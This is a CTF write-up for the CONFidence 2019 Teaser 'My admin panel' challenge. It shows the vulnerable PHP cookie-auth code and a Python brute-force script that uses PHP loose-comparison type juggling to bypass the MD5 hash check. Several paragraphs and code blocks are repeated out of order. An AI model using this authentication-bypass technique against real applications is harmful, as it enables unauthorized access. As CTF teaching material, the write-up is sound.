Hi,
Welcome to my write-up about CONFidence CTF 2019 Teaser!
Menu
My admin panel
Description:I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?Link: https://gameserver.zajebistyc.tf/admin/
Click the link, you can see 2 files: login.php and login.php.bak. The file login.php.bak is a backup file of login.php, let's open it:
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'. Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
As you see, the script requires a cookie named otadmin which must be a form of {"hash": "SOMETHING"}, note that it has a space character after the colon. If you're unfamiliar with regular expression, use this online tool.
- <?php
- include '../func.php';
- include '../config.php';
- if (!$_COOKIE['otadmin']) {
- exit("Not authenticated.\n");
- }
- if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
- echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
- exit();
- }
- $session_data = json_decode($_COOKIE['otadmin'], true);
- if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
- if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
- echo("I CAN EVEN GIVE YOU A HINT XD \n");
- for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
- echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
- }
- exit("\n");
- }
- display_admin();
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
At first glance, I intended to brute force the MD5 hash. When I sent the cookie otadmin={"hash": "SOMETHING"}, the server gave me a hint as you saw in the code: 0006464640640064000646464640006400640640646400.
- if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
- echo("I CAN EVEN GIVE YOU A HINT XD \n");
- for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
- echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
- }
- exit("\n");
- }
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'. Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
Finally, with otadmin={"hash": 389}, the flag appeared:
- import requests
- url='https://gameserver.zajebistyc.tf/admin/login.php'
- s=requests.Session()
- for i in range(1000):
- r=s.get(url,cookies={'otadmin':'{"hash": '+str(i)+'}'})
- if 'HINT' not in r.content:
- print r.content
- break
Thank you for reading!
Comments
Post a Comment